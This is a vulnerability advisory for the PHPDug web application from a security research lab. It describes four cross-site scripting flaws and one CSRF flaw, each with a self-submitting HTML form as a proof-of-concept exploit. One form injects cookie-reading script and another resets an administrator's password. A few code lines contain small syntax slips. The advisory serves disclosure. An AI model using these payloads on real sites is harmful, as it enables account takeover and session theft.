Multiple Vulnerabilities in PHPDug

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PHPDug which could be exploited to perform cross-site scripting, cross-site request forgery attacks.

1) Cross-site scripting vulnerabilities in PHPDug
1.1 The vulnerability exists due to input sanitation error in the "story_url" parameter in add_story.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/add_story.php" method="post" name="main">
<input type="hidden" name="story_url" value='http://www.example.com/"><script>alert(document.cookie)</script>'>
< input type="hidden" name="Submit" value="Continue">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "email" parameter in editprofile.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/editprofile.php" method="post" name="main">
<input type="hidden" name="email" value='email@example.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="commentst" value="-4">
<input type="hidden" name="Submit" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to input sanitation error in the "title" parameter in adm/content_add.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/adm/content_add.php" method="post" name="main">
<input type="hidden" name="id" value="999">
<input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'>
<input type="hidden" name="contentvalue="content">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>
1.4 The vulnerability exists due to input sanitation error in the "username" parameter in adm/admin_edit.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="1">
<input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'>
<input type="hidden" name="password[1]" value="">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) vulnerabilitiy in PHPDug
The vulnerability exists due to insufficient validation of the request origin in adm/admin_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/adm/admin_edit.php" method="post" name="main">
<input type="hidden" name="id[1]" value="USERID">
<input type="hidden" name="username[USERID]" value="Admin">
<input type="hidden" name="password[USERID]" value="test123">
<input type="hidden" name="Submit" value="Submit">
</form>
<script>
document.main.submit();
</script>